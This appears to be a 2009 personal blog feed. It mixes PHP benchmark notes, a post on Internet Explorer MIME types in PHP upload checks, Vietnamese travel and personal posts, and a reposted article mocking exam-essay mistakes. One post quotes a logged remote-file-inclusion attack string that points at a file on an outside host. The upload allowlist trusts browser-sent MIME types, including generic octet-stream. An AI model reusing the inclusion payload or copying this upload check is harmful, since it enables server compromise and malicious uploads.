Is a good idea to use the &-ref-operator to substitute (or alias) a complex mutidim-array? . Call 1'000x E.g. $person = &$aHach["country"]["zip"]["streat"]["number"]["name"]
+ 103 %	1: NO Aliasing. Using: $aSingleDimArray[$i]	Total time: 3[ms]
+ 100 %	2: Aliasing. Using: $alias = &$aSingleDimArray[$i]	Total time: 3[ms]
+ 147 %	3: NO Aliasing. Using: $aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"]	Total time: 5[ms]
+ 110 %	4: Aliasing. Using: $alias = &$aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"]	Total time: 3[ms]
+ 208 %	5: NO Aliasing. Using: veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"]	Total time: 7[ms]
+ 126 %	6: Aliasing. Using: $alias = &$veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"]	Total time: 4[ms]
Conclusion: It seams to be ok to use aliases. It also makes the code more readabel. But I was expecting to get a lager performance gain; especially with very multdimetional arrays.

Test: $obj = new SomeClass() vs. $obj =& new SomeClass() using the =&-ref-operator
Is a good idea to use the =&-ref-operator when creating a new object? Call 1'000x
+ 103 %	1: $obj = new SomeClass()	Total time: 4[ms]
+ 100 %	2: $obj =& new SomeClass()	Total time: 4[ms]
+ 207 %	3: $obj =& $someClass->f();	Total time: 8[ms]
+ 135 %	4: $obj = $someClass->f();	Total time: 6[ms]
Conclusion: There seams to be no difference in performance.

Test: double (") vs. single (') quotes
Is a there a difference in using double (") and single (') quotes for strings. Call 1'000x
+ 100 %	1: single (') quotes. Just an empty string: $tmp[] = '';	Total time: 1[ms]
+ 102 %	2: double (") quotes. Just an empty string: $tmp[] = "";	Total time: 1[ms]
+ 114 %	3: single (') quotes. 20 bytes Text : $tmp[] = 'aaaaaaaaaaaaaaaaaaaa';	Total time: 1[ms]
+ 111 %	4: double (") quotes. 20 bytes Text : $tmp[] = "aaaaaaaaaaaaaaaaaaaa";	Total time: 1[ms]
+ 111 %	5: single (') quotes. 20 bytes Text and 3x a $ : $tmp[] = 'aa $ aaaa $ aaaa $ a';	Total time: 1[ms]
+ 172 %	6: double (") quotes. 20 bytes Text and 3x a $ : $tmp[] = "aa $ aaaa $ aaaa $ a";	Total time: 2[ms]
+ 111 %	7: double (") quotes. 20 bytes Text and 3x a \$ : $tmp[] = "aa \$ aaaa \$ aaaa \$ a";	Total time: 1[ms]
Conclusion: Single and double quoted strings behave almost the same with one exception: Don't use the a lonely ($) in double quoted string unless you want to reference a PHP-var; or use (\$).

Test: isSet() vs. empty() vs. is_array()
What is the performance of isSet() and empty(). Call 2'000x
+ 100 %	1: isSet() with var that was set	Total time: 1[ms]
+ 101 %	2: empty() with var that was set	Total time: 1[ms]
+ 108 %	3: isSet() with var that was not set	Total time: 1[ms]
+ 101 %	4: empty() with var that was not set	Total time: 1[ms]
+ 127 %	5: isSet() with array-var that was set	Total time: 2[ms]
+ 131 %	6: empty() with array-var that was set	Total time: 2[ms]
+ 125 %	7: isSet() with array-var that was not set	Total time: 2[ms]
+ 126 %	8: empty() with array-var that was not set	Total time: 2[ms]
+ 140 %	9: is_array() of an array	Total time: 2[ms]
+ 140 %	10: is_array() of a string	Total time: 2[ms]
+ 343 %	11: is_array() of a non set value	Total time: 4[ms]
+ 115 %	12: isSet() AND is_array() of a non set value	Total time: 1[ms]
Conclusion: isSet() and empty() are identical. Interesting that a is_array() on a unset val is 3x slower. So alway check if val is set at all befor using type-checking. E.g. if (isSet($foo) AND is_array($foo))

Test: switch/case vs. if/elseif
Is a there a difference between switch and if elseif. Call 1'000x
+ 131 %	1: if and elseif (using ==)	Total time: 3[ms]
+ 100 %	2: if and elseif (using ===)	Total time: 2[ms]
+ 107 %	3: case	Total time: 2[ms]
Conclusion: Using a switch/case or if/elseif is almost the same. Note that the test is unsing === and is slitly faster then using ==.

Internet Explorer SUCKS

noreply@blogger.com (canhnm) — Wed, 22 Jul 2009 07:52:00 +0000

I've just finished my project, it had multi file upload feature. And there were some problems.

First I used muti file upload from Fyneworks.
It's good.

The trouble came when I validate mime type of uploaded-file.
First I collected a list of mime type, you can search it from internet. And below is the list mime type that I used to validate uploaded-file:

$allow_file = array('gif','jpg','png','doc','docx','rar','zip','wma','mp3','pdf');
$allow_mime = array(
'image/gif', 'image/jpeg', 'image/png',
'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'application/x-rar-compressed', 'application/zip',
'application/octet-stream','application/force-download','image/pjpeg', //fix for suck mime of ie *_*
'audio/mpeg', 'audio/x-ms-wma',
'application/pdf'
);

zip application/zip
doc application/msword
docx application/vnd.openxmlformats-officedocument.wordprocessingml.document
jpeg image/jpeg
jpg image/jpeg
doc application/msword
mp3 audio/mpeg3
rar application/x-rar-compressed

When validate in client by javascript, it's ok.
But when validate by php, the trouble come!!!
In Firefox the mime type of uploaded-file is true.
But when i use Internet Explorer v6 to submit file, some file is missing.
What's the f*ck!ng ???
Hum,....
I've used the print_r to debug, it's really good at this instance.

Let's see:
In Firefox : All mime type are right!!!
ex:

rar => application/x-rar-compressed
zip => application/zip
and
jpeg => image/jpeg

But in Internet Explorer:

rar => application/force-download
zip => application/octet-stream
and
jpeg => image/pjpeg

I have not tested all the mime type, but now I know the reason of missing file.
:D

Shell??

noreply@blogger.com (canhnm) — Fri, 03 Jul 2009 02:44:00 +0000

Sáng nay rảnh rảnh vào coi log stats của opensource.

/?mosConfig_absolute_path=http://www.aalesundby.no/.../.thumb/site.txt????

Wtf???
Truy cập thử vào thì có vẻ là cái host chú này dùng cc chùa rồi bị del rồi :-j
Chú script kid nào tính chơi trò đây mà :|
Khéo phải chuyển qua xài bằng html hết quá, không cứ thấy đâu có php là tụi nó chèn.
Khổ cái stats của server quá.

Xả xì trét

noreply@blogger.com (canhnm) — Tue, 23 Jun 2009 06:34:00 +0000

Xuất phát :
6h lên đường

Dọc đường đi

Đến Quảng Ninh, vào đớp rồi mới ra tàu =p~

1h30 ra tàu ^0^

Tranh thủ ra mũi tàu buôn cá tí :-"

Pose cái cho nó có dấu đi chơi =)).
Cũng phải nghĩ ra ối trò mà vọc chờ tàu ra đến đảo. Mất 4h30ph chứ ít đâu :|
Đi về đi cano có chưa đến 1h cho nó tàu nhanh ạ :(

3 tác phẩm tự sướng được :

Hóng mát trước khi làm giấc chờ xe về ks :p

Nước biển ở đây trong ác

Rất sạch nữa

Hoàng hôn quá tuyệt mỗi tội tấm này chôm của bạn, chớ hôm í mình ngủ đẫy đến 8h :">

Sáng dậy quần bóng, cát bãi 1 rất sắc, chú ý :|.
Đảo này có 3 bãi thì 3 loại cát khác nhau :-j

Đường chui qua rừng thông ra bãi tắm 1

Phó nháy bị chụp :-"

Ra ca no về nhà

Trên đường về tranh thủ vợt mấy cái pic cho đủ

Trên xe về kết thúc 3 ngày đày nắng, gió và etc... goobye.

Năm sau mà có dịp mình lại ra đây tiếp, hoang sơ và sạch sẽ :x

Xe :-"

noreply@blogger.com (canhnm) — Sat, 13 Jun 2009 06:50:00 +0000

Iem này đã dc kéo với tốc độ 50Km/Tuần =))

Hôm bữa thằng Ốc vác ra đi qua trường Gia Thiều, có chú CA lon ton đi ra, chợt chú liếc mắt thấy con xe, chán quay về chỗ cũ =]]

Phantom of the opera

noreply@blogger.com (canhnm) — Sat, 13 Jun 2009 03:39:00 +0000

The phantom of the opera

Is there

Inside my mind...

Những áng văn bất hủ kì thi 2009

noreply@blogger.com (canhnm) — Fri, 12 Jun 2009 01:22:00 +0000

Việc chấm bài thi tốt nghiệp THPT môn Ngữ văn của giám khảo chúng tôi, đến hôm nay (11/6) đã được già nửa chặng đường...."về đích". Đồng nghiệp của chúng tôi chia sẻ: "Đi chấm văn bây giờ có nhiều cảm xúc từ bài làm của thí sinh lắm...!"

Càng cảm xúc, hồi hộp hơn, vì đây là những bài văn của lứa học sinh đầu tiên, kiểm nghiệm thành quả của chương trình phân ban. Ai cũng muốn xem chất lượng làm bài của học sinh phân ban đầu tiên này có gì khác biệt, nổi trội hơn so với các thế hệ học trò cải cách đã qua không?!

Mỗi giám khảo, thanh tra chấm thi chúng tôi đã thẩm định, đánh giá không dưới trăm bài thi, thực tế, không có gì khác mấy so với các năm trước, thuộc hệ cải cách. Bên cạnh một số ít bài văn tốt, diễn đạt hay, viết văn có cảm xúc, sáng tạo, chúng tôi còn bắt gặp vô vàn các bài văn hạn chế, yếu kém.

Biểu hiện cụ thể của nó thì cũng hết sức đa dạng, phong phú: Chữ viết cẩu thả, trình bày tệ hại, sai chính tả, câu què, câu cụt, diễn đạt, ý tứ sai lạc, vụng về, tối nghĩa, rối rắm...

Do dung lượng trang báo có hạn, ở bài viết này, chúng tôi chỉ dẫn ra những ví dụ được xem là tương đối "đặc biệt" trong các bài làm văn của thí sinh:

1 - Sai lạc đến chết người

- Lỗ Tấn, sinh năm 1985, mất năm 1963, quê quán ở tỉnh Bắc Ninh, gốc Ba Tàu, từng có 3 đời vợ, 5 người con.

- Hạ Dụ là con của bà cụ Tứ, con ruột của Tràng, từng bị trận đói năm 1945 hành hạ, đe dọa cho tơi tả, xơ xác mướp. (Sau đó, câu chuyển sang Hạ Du - một người cách mạng trong quân ái quốc. Dùng bánh bao để trị bệnh điên cho Hạ Du).

- Tô Hoài sinh năm 1920, quê Nghệ An, năm 1960 ông có 200 bài thơ và đạt kỹ luật (kỉ lục) nhà thơ Việt Nam.

- Tô Hoài là người chiến sĩ cách mạng đã từng sống và chiến đấu trên vùng đất...Tây Nguyên.

2 - Các câu văn ngây ngô... không nhịn được cười:

- Các bạn không được đọc những cuốn sách đồ trị (đồi trụy) mà nhà sách cấm nhé!

- Người xưa từng nói: "ăn gì bổ nấy". Việc đọc sách cũng vậy.

- Cho nên chúng ta hay đọc xách (sách) trong những giờ rãnh (rảnh) rỗi, chúng ta đọc không phải mằm (nằm) chổ (chỗ) này đọc, hay ngồi chổ (chỗ) kia, ngồi chổ (chỗ) nào có đủ lượng ánh xáng (sáng) chiếu vào để k (không) thể tăng cho mắt chúng ta bị cận được.

- Ông Tô Hoài đã giết chết Mỵ nhưng vì Mỵ có sức sống tiềm tàng nên cho Mỵ sống lại, để tiếp tục chung sống với Pa trá.

- Mị sinh ra trong 1 gia đình nghèo, nghèo từ trong trứng nghèo ra.

- Khi A Sử thay đồ chuẩn bị đi chơi. Mỵ cũng xin A Sử cho đi theo nhưng A Sử không cho mà còn đánh đập, trụt quần và trói Mỵ vào cái cột.

- Mỵ muốn được chơi nhảy như bao người khác. Hình dáng Mỵ đẹp tuyệt trần, đôi mắt long lanh lúc nào cũng buồn, hàm răng đẹp, gò má cao, đầu tóc dài xinh đến không thể tả được chỉ có một cái là Mỵ hơi ốm một tí mà thôi. Nhớ tới Mị là em nhớ đến những thiếu nữ Hà Nội tha thướt bên Hồ Gươm chiều chủ nhật.

- Vợ chồng thống lí đại diện cho phái ác. Hắn ức hiếp Mị, làm cho Mị không có lối thoát, còn vợ hắn thì lấy cớ đó đánh đập tàn nhẫn cho rằng Mị đụ dỗ chồng bà ta.

- Tô Hoài như đang đùa giỡn khi xây dựng Mị như vậy... Có lẽ Tô Hoài cũng đau xót. Nhưng thật khó để mà hiểu biết được một tác giả lớn Tô Hoài: vùi dập, khai mở rồi lại vùi dập. Những hy vọng sống của Mị lại bị A Sử cho đi vào ngõ hẻm.

3 - Những câu văn so sánh thuộc hàng... siêu so sánh

- Khi A Phủ đến thuê cho nhà thống lí với công việc chăn trâu, sau một thời gian qua Mị vẫn ngồi trong chuồng heo, giống một con heo đang tìm chỗ trốn mà cứ người khác.

- Người nhà Pa tra đánh cho A Phủ đến ngất sỉu (xỉu) rồi đổ nước cho tỉnh lại. Thể hiện con người nhà thống lí độc ác, dã man, đánh người đánh như con chó.

- Được thả A Phủ chạy ra khỏi nhà thống lí như một con trâu điên và vài phút do dự, sửa sang lại trang phục Mị đã chạy theo A Phủ như mây bay, gió thổi.

- Có thể thấy, việc Tô Hoài xây dựng một con người với những phẩm chất đẹp đang bị vùi dập và đang như tan chảy giống như phiến băng để trên một lò lửa, tan ra và khi chỉ còn là nước nó chỉ chờ đủ độ 100 độ c để sôi thôi.

- Sông Hương to như một con thuồng luồng đực cụp đuôi, to lớn, lượn quanh những khúc cua của đường đua công thức một...Sông Huơng với ba màu khác nhau có lúc là màu tím của gương mặt người thấm đẫm rượu say.

4 - Những dẫn chứng ví dụ... độc chiêu

- "Quê hương tôi có con sông xanh biếc.
Nước chảy mãi hai bên bờ."

Trong bài thơ Nhớ con sông quê hương của nhà thơ Tế Hanh, chúng tôi chưa bao giờ thấy có câu thơ thứ hai như thí sinh đã dẫn: "Nước chảy mãi hai bên bờ".

- "Trong tập sáng tác ca dao tục ngữ Việt Nam có câu:

Giang hồ hiểm ác anh không sợ
Chỉ sợ đường về vắng bóng em

Anh tôi đã "lấy 2 câu thơ làm của riêng". Chỉ câu nói ấy thôi mang anh đã tán được nhiều người, người ấy bây giờ mà tôi gọi là "chị hai". Đã thấy được sức hút của việc đọc sách làm cho con người ta sống vui tươi và hạnh phúc hơn".

Vừa dẫn ca dao tục ngữ, vừa chứng minh về tác dụng, ảnh hưởng của nó đối với đời sống tình cảm của anh trai mình. Đúng là một ví dụ khó ai mà nghĩ ra được!

5 - Râu ông nọ cắm cằm bà kia

- Đang giới thiệu về Tô Hoài lại chuyển sang nói về Tố Hữu; chẳng ăn nhập vào đâu: "Tô Hoài là một trong những cây bút văn xuôi hay nhất nền thơ ca Việt Nam hiện đại. Thơ Tố Hữu trữ tình lãng mạn luôn nói về những số phận đâu (đau) thương của con người và lên án sự bất công của các thế mạnh đã đem đến cho con người."

- Đề bài yêu cầu làm về Vợ chồng A Phủ, thì một thí sinh lại say sưa phân tích về các nhân vật trong Vợ Nhặt của Kim Lân đến 3 trang. Giám khảo chào thua.

Xin dẫn một đoạn: "Nạn đói trong năm 1975 thât khủng kiếp. Nạn đói tràn đến xóm ngụ cư, mọi người lâm vào tình trạng khốn khổ vô cùng. Tô Hoài đã miêu tả không gian trên đường Tràng về nhà thật bi thảm...."